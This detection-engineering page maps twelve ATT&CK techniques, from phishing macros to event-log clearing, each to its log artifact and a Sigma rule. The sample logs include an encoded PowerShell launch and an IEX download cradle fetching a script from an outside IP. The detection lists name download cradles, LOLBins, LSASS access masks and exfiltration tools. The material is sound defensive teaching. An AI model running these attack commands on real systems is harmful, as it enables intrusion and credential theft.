Detection Engineering

From Attack to Detection

Twelve real ATT&CK techniques, each followed from the adversary action to the forensic artifact it leaves behind to the Sigma rule that catches it.

AttackArtifactDetection

Code, log lines and Sigma are shown verbatim in English — log fields, Event IDs and technique IDs are never translated.

Filter by tactic:

12 techniques · Read each card left to right: Attack → Artifact → Detection.

T1566.001

Phishing: Spearphishing Attachment

Initial Access

Attack

What the adversary does

The attacker emails a weaponized Office document (or a macro-enabled/ISO/LNK payload). When the victim opens it and enables content, the Office application executes an embedded macro that spawns a command interpreter or LOLBin to download and run the next stage.

Artifact

The event it leaves behind

The macro detonation produces a process-creation event where a Microsoft Office product is the parent of a shell or scripting LOLBin. On Windows this is Sysmon EventID 1 (or Windows Security 4688 with command-line auditing). The email-borne origin is also visible in the email gateway logs (sender, attachment hash, disposition).

LOG SOURCE

Sysmon EventID 1 (ParentImage/Image) — corroborated by email gateway (e.g. Proofpoint/M365 Defender) attachment verdict

REPRESENTATIVE LOG

EventID=1 ParentImage=C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE Image=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine="powershell.exe -nop -w hidden -enc SQBFAFgA..." User=CORP\jdoe

Detection

The logic that catches it

Alert when a Microsoft Office product (WINWORD/EXCEL/POWERPNT/OUTLOOK) is the parent of a command interpreter or script-host LOLBin. This is the canonical 'office app spawns shell' macro-execution pattern (T1566.001 + T1204.002). Tune out legitimate signed add-ins.

DETECTION RULE

title: Office Application Spawning Suspicious Child Process
status: stable
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\WINWORD.EXE'
            - '\EXCEL.EXE'
            - '\POWERPNT.EXE'
            - '\OUTLOOK.EXE'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\rundll32.exe'
            - '\regsvr32.exe'
    condition: selection
falsepositives:
    - Legitimate macros, signed add-ins, enterprise document automation
level: high

TAKEAWAY

Office should almost never be the parent of a shell. The parent-child relationship — not the attachment itself — is the highest-fidelity, file-format-agnostic signal of macro detonation.

T1059.001

Command and Scripting Interpreter: PowerShell

Execution

Attack

What the adversary does

The attacker runs PowerShell with an encoded or obfuscated command (-EncodedCommand / FromBase64String / in-memory IEX download-cradle) to evade command-line inspection and run payloads fileless.

Artifact

The event it leaves behind

With Script Block Logging enabled, PowerShell records the deobfuscated script body to Windows PowerShell Operational log EventID 4104, exposing the real intent even when the command line was Base64-encoded. Sysmon EventID 1 captures the encoded launch command line as corroboration.

LOG SOURCE

Microsoft-Windows-PowerShell/Operational EventID 4104 (ScriptBlockText)

REPRESENTATIVE LOG

EventID=4104 ScriptBlockText="IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.5/a.ps1')" Path= ScriptBlockId={9f...}

Detection

The logic that catches it

Match ScriptBlockText against the deobfuscated indicators of download-cradles and encoded execution. Because 4104 logs the decoded block, this catches obfuscation that bypasses command-line-only rules. Combine multiple indicators or pair with frequency analysis to reduce admin-script noise.

DETECTION RULE

title: Suspicious PowerShell Encoded or Download-Cradle Script Block
status: stable
logsource:
    product: windows
    category: ps_script
detection:
    selection:
        ScriptBlockText|contains:
            - 'FromBase64String'
            - '-enc '
            - '-EncodedCommand'
            - 'IEX('
            - 'IEX ('
            - 'Invoke-Expression'
            - 'DownloadString'
            - 'DownloadFile'
            - 'Net.WebClient'
            - '[Reflection.Assembly]::Load'
    condition: selection
falsepositives:
    - Administrative or packaging scripts using Invoke-Expression
level: high

TAKEAWAY

Script Block Logging (4104) defeats Base64/encoded obfuscation by logging the decoded script — make it the primary PowerShell detection surface, not the raw command line.

T1003.001

OS Credential Dumping: LSASS Memory

Credential Access

Attack

What the adversary does

The attacker opens a handle to lsass.exe and reads its memory (Mimikatz, comsvcs.dll MiniDump, procdump, custom dumpers) to extract plaintext credentials, NTLM hashes, and Kerberos tickets.

Artifact

The event it leaves behind

Sysmon EventID 10 (ProcessAccess) records the cross-process handle open against lsass.exe, including the requesting SourceImage and the GrantedAccess mask. Dumpers request rights such as PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, yielding masks like 0x1010, 0x1410, 0x143a, or 0x1fffff.

LOG SOURCE

Sysmon EventID 10 (TargetImage, SourceImage, GrantedAccess)

REPRESENTATIVE LOG

EventID=10 SourceImage=C:\Users\Public\rundll32.exe TargetImage=C:\Windows\system32\lsass.exe GrantedAccess=0x1410 CallTrace=C:\Windows\SYSTEM32\ntdll.dll+...|UNKNOWN(...)

Detection

The logic that catches it

Alert on ProcessAccess events where TargetImage is lsass.exe and GrantedAccess includes read rights (0x1010/0x1410/0x143a/0x1438/0x1fffff). Filter known-good SourceImages (AV/EDR, wininit, MsMpEng). An unsigned or unusual SourceImage plus a suspicious CallTrace (UNKNOWN / non-module offsets) sharpens fidelity considerably.

DETECTION RULE

title: LSASS Memory Access Indicative of Credential Dumping
status: stable
logsource:
    product: windows
    category: process_access
detection:
    selection:
        TargetImage|endswith: '\lsass.exe'
        GrantedAccess:
            - '0x1010'
            - '0x1410'
            - '0x143a'
            - '0x1438'
            - '0x1fffff'
    filter_legit:
        SourceImage|endswith:
            - '\wininit.exe'
            - '\MsMpEng.exe'
    condition: selection and not filter_legit
falsepositives:
    - EDR/AV agents, backup and DLP tooling reading process memory
level: high

TAKEAWAY

Hunt the handle, not the tool: any process requesting read access to lsass.exe is suspicious regardless of the dumper used. GrantedAccess + CallTrace separate real dumps from benign access.

T1558.003

Steal or Forge Kerberos Tickets: Kerberoasting

Credential Access

Attack

What the adversary does

An authenticated attacker requests Kerberos service tickets (TGS) for accounts with a registered SPN, forcing RC4 encryption, then cracks the tickets offline to recover the service account password.

Artifact

The event it leaves behind

The Domain Controller logs Windows Security EventID 4769 (Kerberos service ticket requested) for each TGS. Kerberoasting shows Ticket Encryption Type 0x17 (RC4-HMAC) — anomalous in a modern AES domain — often in bursts across many distinct SPNs from one source account.

LOG SOURCE

Windows Security EventID 4769 (TicketEncryptionType, ServiceName, TicketOptions) on Domain Controllers

REPRESENTATIVE LOG

EventID=4769 ServiceName=svc_sql [email protected] TicketEncryptionType=0x17 TicketOptions=0x40810000 IpAddress=10.10.5.23 Status=0x0

Detection

The logic that catches it

Flag 4769 events with TicketEncryptionType 0x17 (RC4) for non-machine ServiceNames (exclude names ending in '$'). A single RC4 request is low-signal; the strong detection is a threshold/aggregation — one AccountName requesting RC4 TGS for many distinct SPNs in a short window. Sigma expresses the per-event condition; add aggregation in the SIEM.

DETECTION RULE

title: Potential Kerberoasting via RC4 Service Ticket Request
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'
        TicketOptions: '0x40810000'
    filter_machine:
        ServiceName|endswith: '$'
    filter_krbtgt:
        ServiceName: 'krbtgt'
    condition: selection and not 1 of filter_*
falsepositives:
    - Legacy applications/accounts that still negotiate RC4
level: medium

TAKEAWAY

RC4 (0x17) service tickets in an AES-capable domain are the Kerberoasting tell. Per-event matching plus account-level aggregation (many SPNs, one requester) turns it from noisy to high-confidence.

T1550.002

Use Alternate Authentication Material: Pass the Hash

Lateral Movement

Attack

What the adversary does

Holding a stolen NTLM hash, the attacker authenticates to remote hosts over the network without knowing the plaintext password, using NTLM rather than Kerberos to move laterally.

Artifact

The event it leaves behind

The target host logs Windows Security EventID 4624 — a Type 3 (network) logon with AuthenticationPackageName=NTLM. In a Kerberos-first domain, interactive accounts authenticating via NTLM to many hosts, or with anomalous source workstations, indicates hash reuse. Account 4776 on the DC corroborates NTLM credential validation.

LOG SOURCE

Windows Security EventID 4624 (LogonType, AuthenticationPackageName, LogonProcessName); corroborate with 4776

REPRESENTATIVE LOG

EventID=4624 LogonType=3 AuthenticationPackageName=NTLM LogonProcessName=NtLmSsp TargetUserName=Administrator WorkstationName=ATTACKER01 IpAddress=10.10.5.23

Detection

The logic that catches it

Baseline NTLM Type-3 logons per account/host, then alert on deviations: privileged accounts authenticating via NTLM where Kerberos is expected, or one source workstation hitting many targets. The raw rule below is a starting filter — by itself it is high-volume and MUST be baselined or correlated; treat it as a hunt, not a standalone alert.

DETECTION RULE

title: NTLM Network Logon (Pass-the-Hash Hunting Baseline)
status: experimental
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4624
        LogonType: 3
        AuthenticationPackageName: 'NTLM'
        LogonProcessName: 'NtLmSsp'
    filter_machine:
        TargetUserName|endswith: '$'
    filter_anon:
        TargetUserName: 'ANONYMOUS LOGON'
    condition: selection and not 1 of filter_*
falsepositives:
    - Legacy apps, IP-literal connections, and non-domain hosts legitimately using NTLM (high volume - baseline required)
level: low

TAKEAWAY

PtH leaves a clean Type-3 NTLM logon, but NTLM is common, so detection lives in the baseline: privileged-account NTLM where Kerberos is expected, or fan-out from one source. Ship it correlated, never standalone.

T1543.003

Create or Modify System Process: Windows Service

Persistence

Attack

What the adversary does

The attacker installs a new Windows service whose ImagePath runs a payload (a script interpreter, a binary dropped in a user/temp path, or an encoded PowerShell command) so it survives reboot and runs as SYSTEM.

Artifact

The event it leaves behind

The Service Control Manager writes System log EventID 7045 (A service was installed) recording ServiceName, ImagePath, ServiceType, and StartType. Windows Security 4697 logs the same when audit is enabled. Suspicious services have ImagePaths pointing at temp/user dirs, cmd/powershell, or encoded commands.

LOG SOURCE

System log EventID 7045 (Service Control Manager: ServiceName, ImagePath); or Windows Security 4697

REPRESENTATIVE LOG

EventID=7045 Provider=Service Control Manager ServiceName=UpdaterSvc ImagePath="cmd.exe /c powershell -nop -w hidden -enc SQBFAFgA..." ServiceType=user mode service StartType=auto start

Detection

The logic that catches it

Alert on 7045 where ImagePath contains a script interpreter, encoded-command flags, or executes from a user-writable directory (Users\, Temp\, ProgramData\, AppData\). New-service events are infrequent on servers, so even broad matching plus an allowlist of known software performs well.

DETECTION RULE

title: Suspicious New Windows Service Installed
status: stable
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
    suspicious:
        ImagePath|contains:
            - 'powershell'
            - 'pwsh'
            - 'cmd.exe /c'
            - 'cmd /c'
            - '-enc'
            - '-EncodedCommand'
            - 'rundll32'
            - 'mshta'
            - '\Users\'
            - '\Temp\'
            - '\AppData\'
            - '\ProgramData\'
    condition: selection and suspicious
falsepositives:
    - Legitimate software installers and management agents (allowlist)
level: high

TAKEAWAY

Service installs (7045) are rare and high-value. Inspect the ImagePath: interpreters, encoded commands, or user-writable paths in a SYSTEM service are persistence, not software.

T1053.005

Scheduled Task/Job: Scheduled Task

Persistence

Attack

What the adversary does

The attacker registers a scheduled task that launches a payload on a trigger (logon, time, idle) for persistence or privilege escalation, often pointing at a script interpreter or a binary in a user-writable path.

Artifact

The event it leaves behind

Windows Security EventID 4698 (A scheduled task was created) records the task name and full task definition XML, including the Actions (Command/Arguments). The XML exposes the executed binary and command line. EventID 4702 logs updates to an existing task.

LOG SOURCE

Windows Security EventID 4698 (TaskName, TaskContent XML: Command/Arguments)

REPRESENTATIVE LOG

EventID=4698 TaskName=\Microsoft\Windows\UpdateOrchestrator\Reboot2 TaskContent=<Actions><Exec><Command>powershell.exe</Command><Arguments>-nop -w hidden -enc SQBFAFgA...</Arguments></Exec></Actions>

Detection

The logic that catches it

Alert when 4698 task content (or 4702 updates) references a script interpreter, encoded command, or a user-writable execution path, especially tasks masquerading under \Microsoft\Windows\ paths. Pair with the registering SubjectUserName to spot non-admin task creation.

DETECTION RULE

title: Suspicious Scheduled Task Created
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4698
    suspicious:
        TaskContent|contains:
            - 'powershell'
            - 'pwsh'
            - 'cmd.exe'
            - '-enc'
            - '-EncodedCommand'
            - 'mshta'
            - 'rundll32'
            - 'regsvr32'
            - '\Users\'
            - '\AppData\'
            - '\Temp\'
    condition: selection and suspicious
falsepositives:
    - Legitimate software and admin maintenance tasks (allowlist by task name/path)
level: high

TAKEAWAY

4698 captures the full task XML, so you can detect on the actual command, not just task creation. Interpreters/encoded args inside a scheduled action are the persistence signal.

T1021.002

Remote Services: SMB/Windows Admin Shares (PsExec)

Lateral Movement

Attack

What the adversary does

The attacker uses PsExec-style execution: connect to the ADMIN$/IPC$ share over SMB, drop a service binary, and start it remotely to run commands as SYSTEM on the target — a classic lateral-movement pattern.

Artifact

The event it leaves behind

On the target, the Service Control Manager logs System EventID 7045 installing the PsExec service (default ServiceName PSEXESVC, ImagePath \\...\PSEXESVC.exe). SMB access is visible as Windows Security EventID 5145 (network share object checked) against IPC$/ADMIN$ with a PSEXESVC named pipe. Sysmon 1/3 corroborate the spawned process and network flow.

LOG SOURCE

System EventID 7045 (ServiceName/ImagePath); corroborate with Security 5145 (ShareName IPC$, RelativeTargetName PSEXESVC*)

REPRESENTATIVE LOG

EventID=7045 ServiceName=PSEXESVC ImagePath=%SystemRoot%\PSEXESVC.exe ServiceType=user mode service StartType=demand start | (5145) ShareName=\\*\IPC$ RelativeTargetName=PSEXESVC-ATTACKER01-1234-stdin

Detection

The logic that catches it

Alert on 7045 where ServiceName is PSEXESVC or ImagePath ends in PSEXESVC.exe, and corroborate with 5145 access to IPC$ using a PSEXESVC-* named pipe. Note the service name can be renamed (-r), so also hunt 5145 named pipes and remote service creation followed immediately by service start from a remote logon.

DETECTION RULE

title: PsExec Service Execution (Lateral Movement)
status: stable
logsource:
    product: windows
    service: system
detection:
    selection_name:
        EventID: 7045
        ServiceName: 'PSEXESVC'
    selection_path:
        EventID: 7045
        ImagePath|endswith: '\PSEXESVC.exe'
    condition: 1 of selection_*
falsepositives:
    - Authorized administrative use of Sysinternals PsExec
level: high

TAKEAWAY

Default PsExec leaves an unmistakable PSEXESVC service (7045) and IPC$ named pipe (5145). Since operators rename the service, back the name match with 5145 named-pipe and remote-service-creation hunting.

T1071.001

Application Layer Protocol: Web Protocols (C2 Beaconing)

Command and Control

Attack

What the adversary does

An implant beacons to its C2 over HTTP/HTTPS at regular intervals (with jitter), blending into web traffic. Telltales include periodicity, fixed small request sizes, suspicious or rare User-Agents/URIs, and a recognizable TLS client fingerprint (JA3).

Artifact

The event it leaves behind

Network telemetry: a proxy log or Zeek conn.log/http.log/ssl.log showing many short connections from one host to one destination at near-constant intervals, often with a known-bad JA3 (e.g. Cobalt Strike default) or default malleable-profile User-Agent. The signal is statistical (periodicity + low byte variance), not a single field.

LOG SOURCE

Zeek conn.log / ssl.log (ts, id.orig_h, id.resp_h, duration, JA3) or web proxy logs (cs-host, c-uri, cs(User-Agent), time-interval)

REPRESENTATIVE LOG

#zeek ssl.log ts=1719446400.12 id.orig_h=10.10.5.23 id.resp_h=185.220.101.5 ja3=a0e9f5d64349fb13191bc781f81f42e1 server_name=cdn-edge[.]xyz | repeats every ~60s +/-10% jitter

Detection

The logic that catches it

Pure Sigma cannot express periodicity, so this is primarily an analytics/hunt detection: group connections by (src,dst) over a window and flag low coefficient-of-variation inter-arrival times with consistent small payloads. Supplement with deterministic IOC matches — known-bad JA3 hashes and anomalous User-Agents. Example hunt: identify src/dst pairs with >50 connections where the standard deviation of inter-arrival gaps is under ~10% of the mean.

DETECTION RULE

# Periodicity is not expressible in Sigma; ship as an analytics job + IOC match.
# Deterministic companion (known-bad JA3 / UA) as Sigma:
title: Known C2 Framework TLS Fingerprint or User-Agent
status: experimental
logsource:
    category: proxy
detection:
    selection_ja3:
        ja3: 'a0e9f5d64349fb13191bc781f81f42e1'   # example - replace with curated TI feed
    selection_ua:
        cs-user-agent|contains:
            - 'Mozilla/5.0 (compatible; MSIE 9.0)'   # example malleable-profile UA
    condition: 1 of selection_*
falsepositives:
    - Shared JA3 across many clients; benign legacy User-Agents
level: medium
# Periodicity hunt (pseudo / SIEM): by src,dst window=24h
#   stats stdev(interarrival) as sd, avg(interarrival) as m, count as c
#   where c>50 and (sd/m)<0.1 and avg(bytes)<2048

TAKEAWAY

Beaconing is a statistical detection (periodicity + payload regularity), not a field match. Use behavioral analytics for the core signal and reserve Sigma for curated JA3/User-Agent IOCs — don't pretend a single-event rule catches a beacon.

T1078.004

Valid Accounts: Cloud Accounts

Initial Access

Attack

What the adversary does

The attacker authenticates with valid cloud credentials — logging into the AWS console without MFA, or assuming an IAM role — to gain a legitimate-looking foothold and escalate within the account.

Artifact

The event it leaves behind

AWS CloudTrail records the authentication: ConsoleLogin events from signin.amazonaws.com (with additionalEventData.MFAUsed) and sts:AssumeRole events from sts.amazonaws.com (sourceIPAddress, userIdentity, requested role ARN). A successful console login with MFAUsed=No, or role assumption from an unexpected IP/principal, is the indicator.

LOG SOURCE

AWS CloudTrail (eventSource, eventName, additionalEventData.MFAUsed, responseElements, sourceIPAddress, userIdentity)

REPRESENTATIVE LOG

{"eventSource":"signin.amazonaws.com","eventName":"ConsoleLogin","additionalEventData":{"MFAUsed":"No"},"responseElements":{"ConsoleLogin":"Success"},"userIdentity":{"type":"IAMUser","userName":"deploy-bot"},"sourceIPAddress":"185.220.101.5"}

Detection

The logic that catches it

Alert on successful ConsoleLogin where MFAUsed=No (excluding SSO/federated logins where MFA is enforced upstream). Separately, baseline sts:AssumeRole by principal and source IP and alert on assumptions from new geographies/IPs or to high-privilege roles. The Sigma below covers the no-MFA console login; pair with AssumeRole anomaly analytics.

DETECTION RULE

title: AWS Console Login Without MFA
status: stable
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: 'signin.amazonaws.com'
        eventName: 'ConsoleLogin'
        responseElements.ConsoleLogin: 'Success'
        additionalEventData.MFAUsed: 'No'
    filter_saml:
        additionalEventData.SamlProviderArn|exists: true
    condition: selection and not filter_saml
falsepositives:
    - Root/break-glass accounts intentionally exempt; federated logins where MFA is upstream
level: medium

TAKEAWAY

In the cloud the breach looks like a normal login. MFAUsed=No on a successful ConsoleLogin and AssumeRole from anomalous IPs/principals are your highest-value CloudTrail signals for stolen-credential access.

T1567.002

Exfiltration Over Web Service: To Cloud Storage

Exfiltration

Attack

What the adversary does

The attacker uploads stolen data to an external cloud-storage or file-sharing service (S3 buckets they control, Dropbox, MEGA, transfer.sh, anonfiles) over HTTPS, hiding exfil inside normal-looking web traffic.

Artifact

The event it leaves behind

Web proxy logs show outbound POST/PUT requests to cloud-storage/file-sharing hostnames with large cs-bytes (uploaded volume) — an egress-volume anomaly to an uncommon destination. DNS logs corroborate resolution of the file-sharing domains. The strong signal is byte-volume + destination, which Sigma can partially express (destination) but not threshold cleanly.

LOG SOURCE

Web proxy logs (cs-method, cs-host, cs-bytes/sc-bytes); corroborate with DNS query logs and firewall egress byte counters

REPRESENTATIVE LOG

cs-method=PUT cs-host=files.mega.nz c-uri=/upload/ cs-bytes=734003200 sc-status=200 c-ip=10.10.5.23 cs-user-agent=rclone/v1.65.0

Detection

The logic that catches it

Flag uploads (POST/PUT) to known file-sharing/cloud-storage hosts, especially with anomalous cs-bytes and non-browser User-Agents (rclone, curl, custom). Volume thresholds aren't expressible in Sigma, so use the SIEM to alert when daily uploaded bytes per host to these destinations exceed a baseline. The Sigma below is the destination/method hunt; add the volume condition downstream.

DETECTION RULE

title: Data Upload to Web File-Sharing / Cloud Storage Service
status: experimental
logsource:
    category: proxy
detection:
    selection:
        cs-method:
            - 'POST'
            - 'PUT'
        cs-host|contains:
            - 'mega.nz'
            - 'anonfiles'
            - 'transfer.sh'
            - 'dropbox.com'
            - 'wetransfer.com'
            - 'gofile.io'
            - 'file.io'
            - 's3.amazonaws.com'
            - 'storage.googleapis.com'
    suspicious_ua:
        cs-user-agent|contains:
            - 'rclone'
            - 'curl'
            - 'python-requests'
            - 'Mega'
    condition: selection and suspicious_ua
falsepositives:
    - Sanctioned backup/sync tools and corporate cloud-storage use (allowlist by host and src)
level: medium
# Add in SIEM: sum(cs-bytes) by c-ip,cs-host over 24h > baseline

TAKEAWAY

Exfil to cloud storage hides in HTTPS, so detection is destination + upload volume + non-browser client. Sigma can hunt the destination/UA; the decisive piece — an egress-volume threshold — belongs in SIEM aggregation.

T1070.001

Indicator Removal: Clear Windows Event Logs

Defense Evasion

Attack

What the adversary does

To destroy forensic evidence, the attacker clears the Windows event logs (wevtutil cl, Clear-EventLog, or the API), wiping records of their prior activity.

Artifact

The event it leaves behind

Clearing the Security log itself generates Windows Security EventID 1102 (The audit log was cleared), recording the SubjectUserName/SubjectUserSid that performed the clear. Clearing other logs generates System log EventID 104 (Log file cleared) from the EventLog provider. These are inherently rare, high-fidelity events.

LOG SOURCE

Windows Security EventID 1102 (Microsoft-Windows-Eventlog) — and System EventID 104 for non-Security logs

REPRESENTATIVE LOG

EventID=1102 Provider=Microsoft-Windows-Eventlog Channel=Security SubjectUserName=Administrator SubjectDomainName=CORP SubjectLogonId=0x3e7 Message="The audit log was cleared."

Detection

The logic that catches it

Alert on any Security EventID 1102 and System EventID 104 outside of authorized, change-ticketed maintenance. There is essentially no benign reason to clear the Security log in normal operations, so this fires with very high fidelity. Enrich with the clearing account and host to scope the incident.

DETECTION RULE

title: Windows Event Log Cleared
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 1102
        Provider_Name: 'Microsoft-Windows-Eventlog'
    condition: selection
falsepositives:
    - Authorized, ticketed log maintenance (should be rare and pre-approved)
level: high

TAKEAWAY

Clearing the Security log can't hide its own clearing — 1102 (and System 104) is one of the rarest, highest-fidelity alerts you can run. Treat any unexpected occurrence as an active intrusion.